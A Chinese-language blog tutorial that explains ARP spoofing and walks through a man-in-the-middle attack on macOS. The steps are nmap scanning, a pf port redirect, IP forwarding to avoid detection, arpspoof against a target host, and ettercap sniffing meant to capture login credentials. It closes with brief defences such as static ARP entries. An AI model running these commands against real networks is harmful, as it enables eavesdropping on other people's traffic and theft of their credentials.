NO.23——MacOS下進行ARP欺騙應用ettercap工具進行中間人攻擊

       最近在油管上看到一個Hacker攻擊的技巧視頻,於是乎這幾天苦於鑽研,總算摸出點門道,把學到的知識寫下來以作記錄。kali Linux是Hacker常用的操作系統,本人在mac上嘗試實施。

       mac 下準備

  1. 安裝 macports (macports官網)
  2. 更新 macports , sudo port -d selfupdate
  3. 安裝 dsniff(包含 arp 攻擊的工具)sudo port install dsniff
  4. 安裝libtiff ,brew install libtiff

  5. 安裝gtk+3 ,  brew install gtk+3

  6. 安裝ettercap, brew install ettercap --with-gtk+

  7. 安裝 nmap brew install nmap 

 

1.1 什麼是網關

        借用網上的定義,這篇文章介紹的很詳細,http://netsecurity.51cto.com/art/201303/386031.htm首先來簡單解釋一下什麼是網關,網關工作在OSI七層模型中的傳輸層或者應用層,用於高層協議的不同網絡之間的連接,簡單地說,網關就好比是一個房間通向另一個房間的一扇門。

1.2 ARP協議是什麼

          ARP(Address Resolution Protocol)地址轉換協議,工作在OSI模型的數據鏈路層,在以太網中,網絡設備之間互相通信是用MAC地址而不是IP地址,ARP協議就是用來把IP地址轉換爲MAC地址的。而RARP和ARP相反,它是反向地址轉換協議,把MAC地址轉換爲IP地址。

假設A(192.168.0.100)與B(192.168.0.101)在同一局域網,A要和B實現通信。A首先會發送一個數據包到廣播地址(192.168.0.1),該數據包中包含了源IP(A)、源MAC、目的IP(B)、目的MAC,這個數據包會被髮放給局域網中所有的主機,但是隻有B主機會回覆一個包含了源IP(B)、源MAC、目的IP(A)、目的MAC的數據包給A,同時A主機會將返回的這個地址保存在ARP緩存表中。

1.3 正常情況下主機通過路由器上網的原理

如上圖, 我們以 主機 A  ping 8.8.8.8 爲例:

  1. 主機 A 上執行 ping 8.8.8.8
  2. 主機 A 準備根據默認路由將數據包發送給 192.168.0.1, 但是最開始的時候主機 A 不知道 192.168.0.1 的 Mac 地址, 所以主機 A 廣播一條 ARP Request, 詢問 192.168.0.1 的 Mac 地址是什麼
  3. 路由器收到該 ARP 請求, 發現自己是 192.168.0.1 於是向主機 A 回覆一條 ARP Reply, 告訴主機 A 192.168.0.1 的 Mac 地址是 xxxGW.
  4. 主機 A 收到該 ARP Reply, 並使用該 Reply 中的 MAC 地址封一個 ICMP Request 包, 然後將包發出去
  5. 路由器收到該 ICMP 包, 發現目標 IP 是公網 IP, 便將該包放送到公網, 公網返回 ICMP Reply 給路由器
  6. 路由器準備將 ICMP Reply 發送給 192.168.0.100, 但是同第2步, 路由器最開始的時候也不知道 192.168.0.100 的 Mac 地址是多少, 所以路由器會廣播一條 ARP Request, 詢問 192.168.0.100 的 Mac 地址是什麼
  7. 主機 A 收到 ARP Request, 發現自己是 192.168.0.100, 於是向路由器回覆 ARP Reply, 告訴路由器 192.168.0.100的 Mac 地址是 xxxA.
  8. 路由器收到 ARP Reply, 並使用該 Reply 中的 MAC 地址將第5步收到 ICMP Reply 包重新封包, 併發送出去
  9. 主機 A 收到 ICMP Reply

    至此,正常的上網過程結束。

1.4 ARP欺騙原理

 

  1. 如果主機 B 無腦的向主機 A 發送 ARP Reply, 告訴 A 192.168.0.1 的 MAC 是 xxxB, 會發生什麼?
  2. 如果主機 B 無腦的向路由器 GW 發送 ARP Reply, 告訴 GW 192.168.0.100 的 MAC 是 xxxB, 會發生什麼?

       上面提到過了ARP緩存表,在每臺主機都有一個ARP緩存表,緩存表中記錄了IP地址與MAC地址的對應關係,而局域網數據傳輸依靠的是MAC地址。

       假設主機 A 192.168.1.100,B 192.168.1.101,C 192.168.1.102; 網關 G 192.168.0.1; 在同一局域網,主機A和B通過網關G相互通信,就好比A和B兩個人寫信,由郵遞員G送信,C永遠都不會知道A和B之間說了些什麼話。但是並不是想象中的那麼安全,在ARP緩存表機制存在一個缺陷,就是當請求主機收到ARP應答包後,不會去驗證自己是否向對方主機發送過ARP請求包,就直接把這個返回包中的IP地址與MAC地址的對應關係保存進ARP緩存表中,如果原有相同IP對應關係,原有的則會被替換。

這樣C就有了偷聽A和B的談話的可能,繼續思考上面的例子:

C假扮郵遞員,首先要告訴A說:“我就是郵遞員” (C主機向A發送構造好的返回包,源IP爲G 192.168.1.1,源MAC爲C自己的MAC地址),愚蠢的A很輕易的相信了,直接把“C是郵遞員”這個信息記在了腦子裏;

C再假扮A,告訴郵遞員:“我就是A” (C向網關G發送構造好的返回包,源IP爲A 192.168.1.2,源MAC地址爲自己的MAC地址),智商捉急的郵遞員想都沒想就相信了,以後就把B的來信送給了C,C當然就可以知道A和B之間聊了些什麼

上面ABCG的故事就是ARP雙向欺騙的原理了

ARP單向欺騙就更好理解了,C只向A發送一個返回包,告訴A:G 192.168.0.1 的MAC地址爲 5c-63-bf-79-1d-fa(一個錯誤的mac地址),A把這個信息記錄在了緩存表中,而G的緩存表不變,也就是說,A把數據包給了C,而G的包還是給A,這樣就是ARP單向欺騙了。

1.5 ARP欺騙實戰

搜索目標

          首先,開啓網卡,這是一切操作的基礎,讓本機擁有網卡功能,後期出現bug有可能是網卡未開啓的原因。

sudo chmod 777 /dev/bpf*

          查看目標主機的ARP緩存記錄的網關IP以及mac地址,可見網關開啓在en0端口。

arp -a

   命令行輸入 ifconfig查看本機IP。

   使用 ping 方式掃描,192.168.31.1/24”表示掃描"192.168.31.1-192.168.1.254"這個網段的所有機器。

   

nmap -sP 192.168.31.1/24

       經過掃描,可以看到所有處在此局域網的所有機器,192.168.31.1是網關,192.168.31.84是本機IP,192.168.31.70設定爲目標IP。

開啓端口轉發

 

mac 下 (修改 mac 的packet filter包過濾器):

  1. 在 /etc/pf.anchors 目錄下新建文件 http,內容如下
    rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
    8080是程序監聽的端口號

  2. 修改 /etc/pf.conf 文件,在適當的位置加入
    rdr-anchor "http-forwarding"load anchor "http-forwarding" from "/etc/pf.anchors/http" 兩行命令.

    必須按照順序插入,否則會無效。 /etc/pf.conf 修改後是這樣:

    #
    # com.apple anchor point
    #
    scrub-anchor "com.apple/*"
    nat-anchor "com.apple/*"
    rdr-anchor "com.apple/*"
    rdr-anchor "http-forwarding"
    dummynet-anchor "com.apple/*"
    anchor "com.apple/*"
    load anchor "com.apple" from "/etc/pf.anchors/com.apple"
    load anchor "http-forwarding" from "/etc/pf.anchors/http"
    
  3. 重啓 packet filter,依次輸入命令 sudo pfctl -ef /etc/pf.confsudo pfctl -E

 

開啓IP轉發

       在進行arp欺騙之前必須要開啓IP轉發,使得本機具有路由功能,否則當欺騙成功之後,目標機會斷網,這樣會被對方察覺。

mac 下:

sudo sysctl -w net.inet.ip.forwarding=1

linux 下:

echo1 >/proc/sys/net/ipv4/ip_forward

     查看本機IP轉發情況:

sudo sysctl -a | grep forward

 

另外,確保已經安裝好macports

ARP欺騙

假設被攻擊的 IP 是 192.168.31.70,局域網的網關是 192.168.31.1,攻擊電腦使用的網卡接口是 en0,則欺騙命令如下:

# arpspoof -i en0 -t (目標IP) (網關IP)
arpspoof -i en0 -t 192.168.31.70 192.168.31.1

    如圖,攻擊者向目標IP192.168.31.70發送返回包,包含內容:

源ip:192.168.31.1

源MAC:20:c9:d0:79:2b:17

        此時再查看目標主機的網關和IP地址,可以看出目標主機arp緩存已經發生了變化,在緩存表中所記錄的網關(192.168.31.1)的MAC已經變爲了攻擊者的MAC

ettercap截獲流量

        首先確保完成前三步驟,搜尋目標、端口轉發、IP轉發,然後命令行開啓ettercap的圖形窗口:

sudo ettercap -G

       選擇網卡端口en0,  Sniff------Unified Sniffing

Hosts-----Scan for  hosts,在Host List中添加目標主機IP到Target 2,添加網關IP到Target 1。這裏需要說一下,一些資料說Target 1要添加網關IP,衆說紛紜,但在我本機測試,我選擇Target 2。

Mitm----ARP Poising---

Start ----Sniffing

         正常在這裏,目標機進行登錄事件,我這裏會截獲USER和PASSWOED,但是始終不成功,還未找到原因在哪。

ARP欺騙的危害

             局域網之間主機通信會收到影響,如果是網關欺騙,上互聯網也會受影響,黑客利用ARP欺騙可以竊取用戶敏感信息、掛木馬等,在這裏我簡單演示一下ARP欺騙嗅探Telnet賬戶密碼。command+N開啓新的命令行

            dsniff需要創建原始套接字,因此需要超級用戶權限。用sudo運行它

怎樣防範ARP欺騙

1.在主機綁定網關MAC與IP地址爲靜態(默認爲動態),命令:arp -s 網關IP 網關MAC

2.在網關綁定主機MAC與IP地址

3.使用ARP防火牆

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章